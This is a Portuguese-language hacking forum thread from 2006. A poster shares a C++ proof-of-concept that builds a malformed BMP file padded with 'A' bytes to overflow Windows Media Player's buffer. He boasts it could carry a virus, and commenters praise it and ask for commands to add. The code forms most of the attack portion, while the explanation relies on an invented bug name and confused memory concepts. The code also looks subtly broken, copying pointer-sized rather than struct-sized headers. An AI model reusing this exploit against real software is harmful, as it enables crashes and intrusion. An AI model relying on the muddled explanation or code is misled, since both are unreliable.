Causando BufferOverFlow No Windows Media Player em 3 Passos By Ricardo S.Barros

Started by Anonymous, 26 de March , 2006, 09:24:18 PM

Previous topic - Next topic

0 Members and 1 Guest are viewing this topic.

Anonymous

Boa Noite Darkers? Tudo Bem .. Bom quem digita aqui é o seu amigo Ricardo ou Antigo Apoc4lipse

Como vocês devem ter percebidos já faz muito tempo que eu não posto nada aqui nem comentarios mais então hoje eu estou postando aqui pelo simples motivos até diria uma unica palavra - Compartilhar - Antes de Iniciar minha Materia

Vou Explicar o motivo do porque eu desapareci :

Vamos Lá

1 - Trabalho Gente estou trabalhando e isso toma muito do meu tempo na semana então não tenho como dar atenção devida ao forum

2 - Ausencia da parte do forum eu até começei uma vez a dar aulas de Threads aqui no forum mais a ausencia do pessoal quando a interrese real começou a me desmotivar a não postar mais nada afinal analisem
são muitos usuarios competentes neste forum algums a grande maioria amigos meus .. mais tirando uma parte por uma lado vem uma outra que não esta afim de trocar experiencias e sim apenas ler sem dar o credito que seria o comentario ..

resumindo eu dei uma "parada" por falta de comentarem mais tudo bem isto é um outro assunto

O que eu vim tratar aqui é a minha descoberta alias minha não de um outro haxor que não conheço que fez a descoberta e eu modifiquei o exploit afim de obter mais poder bom vamos ao assunto :

O que venho lhe falar é de um metodo que desenvolvi ( Não sei se ja existia mais se já tudo bem apenas quero passar conhecimento ) o metodo consiste na exploração do buffer ( Mémoria ) do software Windows Media Player
Através de um bug conhecido como

"Reciprocidade de Mémoria" ou seja a memoria se deixa ser Invadida e Modificada isso é pessimo amigos pois com o exploit que demonstrarei eu apenas insiro caracteres ascii mais eu poderia colocar um vírus inteiro dentro ou talvez strings maliciosas quem sabe :P

Bom teoricamente é assim que funciona .. asseguro-lhes que esse material não existe em outro lugar fora o que estou postando aqui deve existir mais que cubram menos não como vou cobrir agora e se tiver seram em ingles então poupem - me de falar que copiei algo ou etc...

Bom Darkers vamos a explicação

PARTE 1 - Entendendo o Buffer

Imaginem agora neste momento como um software é construido ele é feito de ... Códigos Obviamente + também de espaço no disco .. hum.. tbm espaço na mémoria correto??

agora imaginem que a mémoria dele deveria ser fechada a ele não acham?
somente para ele acessar .. pois é ai que se enganam .. o Media Player é Vulneravel a ponto de se deixar escrever dentro de sua mémoria de alocação ou seja o buffer interno que guarda TODA a musica dentro dele

Muitos agora imaginam o "BUFFERING..." Isto mesmo quando ele está fazendo isso Buferizando quer dizer que ele está subindo a musica inteira para dentro da mémoria dele para poder manipula-la ou seja exibir os quadros ( video ) ou ( descodificar ) no caso musica . claro aos poucos para o usuario mais certo todos vocês leitores devem pensar

Mais Ricardo o buffer é protegido correto? eu retruco com a seguinte frase "NÃO A MICRO$ Não coda buffer seguro" Então o que vamos fazer é se aproveitar dessa falha e explorar - lo

PARTE 2 Entendendo o Exploit

Bom na parte 2 eu diria que vamos aprender a usar meu exploit..
Detalhe : O Exploit que vou mostrar a vocês fui responsavel 100% pela codificação mais tirando de base outro exploit que servia para explorar uma outra falha

Bom o exploit é esse ->


#include <windows.h> //Ambiente
#include <process.h> //Manipulação de Processos..
#include <iostream>  //Padrão de Escrita/Saida C++

#include <stdio.h>   //Padrão de Escrita/Saida C
#include <string.h>  //Manipulações de Strings

using namespace std;

               
//Definição do Tamanho do Arquivo

#define NOME_ARQ_BUGADO  "ArqBugado_ricWMP.bmp"
//Nome do Arquivo Bugado


class Expl_WMP       
//Classe de Exploração usada pelo Exploit

{
public:

WORD  BMTipo;          //Tipo de BM
DWORD BMTam;           //Tamanho do BM
WORD  BMReser1;        //Byte Reservado1

WORD  BMReser2;        //Byte Reservado2
DWORD BMBits;          //Bits Extra

void CriaPonteiragem();

};

class Expl_BMPAtrib        //Classe de Exploração usará os Atributos
{
public:

DWORD  BTamanho;       //Tamanho do Atributo
LONG   bAltura;        //Altura  do Atributo
LONG   bLargura;       //Largura do Atributo
WORD   bPla;           //Planejamento
WORD   bBContador;     //Contador
DWORD  bCompresao;     //Compressão
DWORD  bTamanhoImagem; //Tamanho
LONG   bPixelMedidorX; //Medição em Pixel X
LONG   bPixelMedidorY; //Medição em Pixel Y
DWORD  biUsado;        //TUsados
DWORD  biImportante;   //Bits Importantes

};

int main( void )
{
FILE *Arquivo;
//Ponteiro para Arquivo

//Alocação no Heap para Manipular Classe Criada
Expl_WMP      *bmp_W   = new Expl_WMP;
Expl_BMPAtrib *bmp_Atr = new Expl_BMPAtrib;

    char *BufferArquivo; //Buffer(Área de Mémoria) do Arquivo

Arquivo = fopen( NOME_ARQ_BUGADO, "w+b" );

//Cria um Arquivo Usando os Criterios de Avaliação
//Propostos pela Definição NOME_ARQ_BUGADO

if( !Arquivo ) //Testa se Arquivo foi Criado
{
cout<<"Arquivo N Pode ser Criado Erro Fatal !!"<<endl;
exit(1);

//Caso não Consigamos Criar .. Finaliza Exploit.

}

BufferArquivo = (char*)malloc( 0xA8D2 );
memset( BufferArquivo, 0x41, 0xA8D2 );

//Define o Tamanho Injetado dentro do Arquivo

bmp_W->BMTipo           = 0x4D42;
bmp_W->BMTam            = 0xA8D2;

bmp_W->BMReser1         = 0x00;
bmp_W->BMReser2         = 0x00;
bmp_W->BMBits           = 0x00;

bmp_Atr->BTamanho       = 0x28;
bmp_Atr->bAltura        = 0x91;
bmp_Atr->bLargura       = 0x63;
bmp_Atr->bPla           = 0x01;
bmp_Atr->bBContador     = 0x18;
bmp_Atr->bCompresao     = 0x00;

bmp_Atr->bTamanhoImagem = 0xA89C;
bmp_Atr->bPixelMedidorX = 0x00;
bmp_Atr->bPixelMedidorY = 0x00;
bmp_Atr->biUsado        = 0x00;
bmp_Atr->biImportante   = 0x00;

memcpy( BufferArquivo, bmp_W, sizeof( bmp_W ));
memcpy( BufferArquivo+sizeof(bmp_W), bmp_Atr, sizeof( bmp_Atr ));

fwrite( BufferArquivo, 0xA8D2-1, 1, Arquivo );
fwrite( "\x00", 1,1, Arquivo );
//Escreve dentro do arquivo as modificações
//feitas especialmente para que componham a imagem

fclose( Arquivo );
cout<<"Arquivo Bugado Criado..."<<endl;

}


Bom analizando o voces perceberam que eu vou usar uma Imagem .BMP para fazer a infecção do buffer vamos lá
vou explicar o funcionamento completo do meu exploit...

Primeiramente ele cria um codigo que vai alocar memoria dentro de uma classe criada por min que vai encapsular o pradrão de um bmp e jogar dentro dele simples "A" Sim isso mesmo letra A vou Desculpe a expresão "Foder" o Windows Media Player com "A"s hahaha Mais então

Vamos lá apos criar a imagem cheia de As ele vai alocar dentro de uma mémoria especial .. chamada HEAP Muitos devem conheçer e dentro dela passar o meu codigo de As para o nosso ALVO :)

http://img61.imageshack.us/my.php?image=bugggg6qr.jpg

Bom Amigos do Darkers isso é tudo e lembrem - se

"Nada é Seguro Nessa !@#!$! de Informatica"


=============================
Ricardo Silva de Barros ( Apoc4lipse )
Sinapse Elite Coders.
http://sinapse.plughackers.net
=============================

Anonymous

Primeira vez que vejo malguem que explica quase todo e exploit muito bom parabéns !
Putz...Muito bom !

Anonymous

Nossa cara Mto bom !!!!

Sinceramente se eu fosse admin te dava até 2 pontos positivos !!

ahhuahuahua

teh +

;)

Billy0


Anonymous

Mano, você a cada dia melhora em coding e exploração cara, vou tentar testar, ai edito o post =]

DarkGenesis

Arrazou Apoc4.

PONTO POSITIVO pelo seu trabalho e dedicação.

Shady

Grande apoc... meu c++ nem serve pra entender seu codigo brother = / mas como voce sabe tou me dedicando ;)

 Pessoal, aproveitem, isso e raro =P


Mundus Vult Decipi

Cloudy

Tsc tsc tsc..

Ricardo, muito foda mano. Por essas e outras que te adimiro pra caramba.

...by Cloudy
"You have to be trusted by the people tou lied to, so when they turn their back on you, you have the chance to the put the knife in." (Roger Waters)

...by Cloudy

Fox

Cara, perfeito ...excepcional! Parabéns mesmo!
E concordo com você quando disse que desanima quando agente cria um topico e ninguem comenta...tira a motivação ne!

Cara,...se der posta alguns comandos que podem ser colocados nesse exploit.
Mas de boa....parabens pra voce.

locator.dll

Apoca, minha opinião se mantém..

Sem dúvida vc é uma das grandes promessas de programação...

Como sempre, tenho grande respeito por vc...

Parabéns..

vlw

locator.dll

Mental_Way

Ainda sou iniciante, porém sei reconhecer quem é realmente bom...

Muito bom... e continue assim...

Um dos exploits mais explicados que já vi... e mandou muito bem em divulgar...

Fui...
By Mental_Way...
[RitualistaS GrouP]

"Aquele que sabe pouco rapidamente revela isto."

branco

po nao fala 'mau' da micro porque daqui a poko vao te xama pra trabalhar pra eles  ;) ta rox, vlw
Olha o trem... Quem vai ficar, quem vai partir? Quem vai chorar, quem vai sorrir?

Anonymous

heuheiahauei bmp dentro do wmp ^^

mas po, eles devem ter algum motivo neh? axo q eles fizeram d proposito... mas tb ... tem chance de ter sido um erro de programaçao... mas mesmo assim, axu q fizeram o xp com seus bugs, q foram sendo descobertos com o tempo, dai eles podem fazer otro OS e fala 'esse daki nd entra' e pronto heuihiae

mas ... ^^ axo q vc n devia t divulgado o bug aki, sl, vaum faze patch do mp, ou intaum otra versaum.. =/

mas blz


_Dr4k0_

Simpleste ele é o CARA ficou perfeito..tanto o exploit..quanto a explicação C++ é uma linguagem linda mesmo..
100% Livre!!!Livre para escolher o que há de melhor no Windows e Linux. Livre de preconceito direto ou inverso!
Adote essa filosofia e tenha mais chance de sucesso profissional.